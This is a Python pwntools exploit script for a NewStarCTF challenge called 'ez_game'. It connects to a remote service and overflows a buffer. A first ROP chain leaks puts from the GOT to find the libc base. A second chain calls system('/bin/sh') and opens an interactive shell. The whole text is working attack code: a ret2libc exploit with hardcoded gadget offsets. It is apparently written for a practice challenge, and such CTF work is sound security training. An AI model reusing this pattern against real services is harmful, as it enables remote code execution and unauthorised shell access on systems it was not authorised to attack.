1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("/home/nan0in/CTF/newstar/ez_game/attachment")
io=remote("172.20.10.3",51304)

elf=ELF("/home/nan0in/CTF/newstar/ez_game/attachment")
libc=ELF("/home/nan0in/CTF/newstar/ez_game/libc-2.31.so")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main_addr=elf.symbols["main"]
func_addr=elf.symbols['func']
ret_addr=0x400509
pop_rdi_addr=0x400783
#bin_sh_addr=0x1b45bd

#gdb.attach(io)
payload=b'a'*0x58+flat(pop_rdi_addr,puts_got,puts_plt,main_addr)
io.sendlineafter(b"Welcome to NewStarCTF!!!!\n",payload)
io.recvuntil(b'\x0a')
#\0\0补全8位地址
#u64(io.recv(6).ljust(8,b'\x00'))=puts_addr
libc_addr=u64(io.recv(6).ljust(8,b'\x00'))-libc.symbols["puts"]
print(f"{libc_addr= :x}")

system_addr=libc_addr+libc.symbols["system"]
bin_sh_addr=libc_addr+0x1b45bd

payload2=b'a'*0x58+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(ret_addr)+p64(system_addr)
io.sendlineafter(b"Welcome to NewStarCTF!!!!\n",payload2)

io.interactive()